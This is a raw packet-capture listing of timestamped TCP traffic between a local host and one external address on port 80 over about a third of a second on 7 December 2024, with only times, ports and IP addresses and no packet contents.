Dec 7, 2024 15:06:49.688182116 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.688235044 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.688276052 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.688946962 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.688999891 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.689043045 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.689089060 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.689713001 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.689764023 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.689867020 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.689918995 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.690543890 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.690591097 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.690665007 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.690706968 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.691359997 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.691409111 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.691478014 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.691520929 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.692157030 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.692218065 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.770284891 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.770306110 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.770365953 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.770382881 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.770555973 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.770606041 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.770652056 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.770704031 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.771357059 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.771409035 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.771492958 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.771541119 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.772185087 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.772248030 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.772300959 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.772346973 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.773308992 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.773356915 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.773606062 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.773653030 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.773936033 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.773983002 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.773993969 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.774038076 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.774756908 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.774811029 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.774835110 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.774887085 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.775662899 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.775713921 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.775780916 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.775831938 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.776323080 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.776371002 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.776402950 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.776446104 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.777160883 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.777213097 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.777256966 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.777299881 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.778073072 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.778121948 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.778152943 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.778243065 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.778796911 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.778894901 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.778901100 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.778939009 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.779640913 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.779690027 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.779742956 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.779798985 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.780421972 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.780464888 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.780540943 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.780581951 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.781270027 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.781318903 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.781399012 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.781445980 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.782097101 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.782150984 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.782171965 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.782222033 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.782978058 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.783025026 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.783113003 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.783160925 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.783766985 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.783816099 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.783852100 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.783910036 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.784570932 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.784617901 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.784653902 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.784699917 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.785393953 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.785444975 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.785515070 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.785562038 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.786366940 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.786415100 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.786508083 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.786555052 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.787103891 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.787152052 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.787199974 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.787245989 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.787911892 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.787967920 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.788014889 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.788062096 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.788711071 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.788796902 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.788882017 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.788939953 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.789525032 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.789568901 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.789652109 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.789700985 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.790400028 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.790462017 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.790498972 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.790582895 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.791207075 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.791259050 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.791352034 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.791399002 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.792082071 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.792131901 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.792215109 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.792262077 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.792876959 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.792924881 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.792988062 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.793031931 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.793680906 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.793714046 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.793729067 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.793740988 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.886939049 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.887017965 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.887037992 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.887061119 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.887310982 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.887367010 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.887406111 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.887445927 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.888099909 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.888149023 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.888406038 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.888456106 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.888520002 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.888569117 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.889231920 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.889292955 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.889316082 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.889353991 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.890047073 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.890106916 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.890160084 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.890202999 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.890913963 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.890971899 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.890997887 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.891043901 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.891748905 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.891803980 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.891865969 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.892003059 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.892575979 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.892644882 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.892673969 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.892724991 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.893369913 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.893425941 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.893490076 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.893538952 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.894397020 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.894452095 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.894488096 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.894536018 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.895056009 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.895116091 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.895138025 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.895185947 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.895862103 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.895916939 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.895920992 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.895952940 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.896687984 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.896729946 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.896744967 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.896770000 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.897500992 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.897578001 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.897608995 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.897659063 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.898334980 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.898394108 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.898399115 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.898446083 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.899164915 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.899220943 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.899270058 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.899324894 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.899996042 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.900048971 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.900051117 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.900088072 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.900866032 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.900928020 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.900930882 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.900975943 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.901653051 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.901705980 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.901746988 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.901794910 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.902475119 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.902534008 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.902610064 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.902657032 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.903336048 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.903393984 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.903419971 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.903466940 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.904412031 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.904455900 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.904469967 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.904495001 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.905077934 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.905145884 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.905157089 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.905225992 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.962724924 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.962872982 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.962932110 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.962976933 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.963082075 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.963121891 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.963121891 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.963167906 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.964087009 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.964140892 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.964180946 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.964221954 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.964729071 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.964768887 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.964803934 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.964844942 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.965540886 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.965590000 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.965627909 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.965672970 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.966418028 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.966459990 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.966490030 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.966531038 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.967175961 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.967216015 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.967287064 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.967327118 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.968049049 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.968091011 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.968092918 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.968130112 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.968844891 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.968888998 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.968954086 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.968992949 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.969793081 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.969830990 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.969846964 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.969887018 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.970521927 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.970562935 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.970648050 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.970688105 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.971363068 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.971415043 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.971436977 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.971482992 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.972186089 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.972233057 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.972313881 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.972354889 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.973948002 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.974021912 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.974047899 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.974060059 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.974087954 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.974096060 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.974113941 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.974126101 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.974679947 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.974723101 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.974760056 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.974798918 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.987905979 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.987970114 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.987973928 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.987982988 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988019943 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988023043 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988042116 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988064051 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988073111 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988084078 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988087893 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988109112 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988121986 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988285065 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988322973 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988357067 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988368988 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988380909 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988394976 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988404989 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988425970 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988595963 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988615036 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988626003 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988636017 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988640070 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988656998 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988667011 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988668919 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988677979 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988677979 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988691092 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988703966 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988703966 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988713980 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988715887 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.988737106 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.988760948 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.989111900 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.989154100 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.989193916 CET	80	49738	185.215.113.206	192.168.2.8
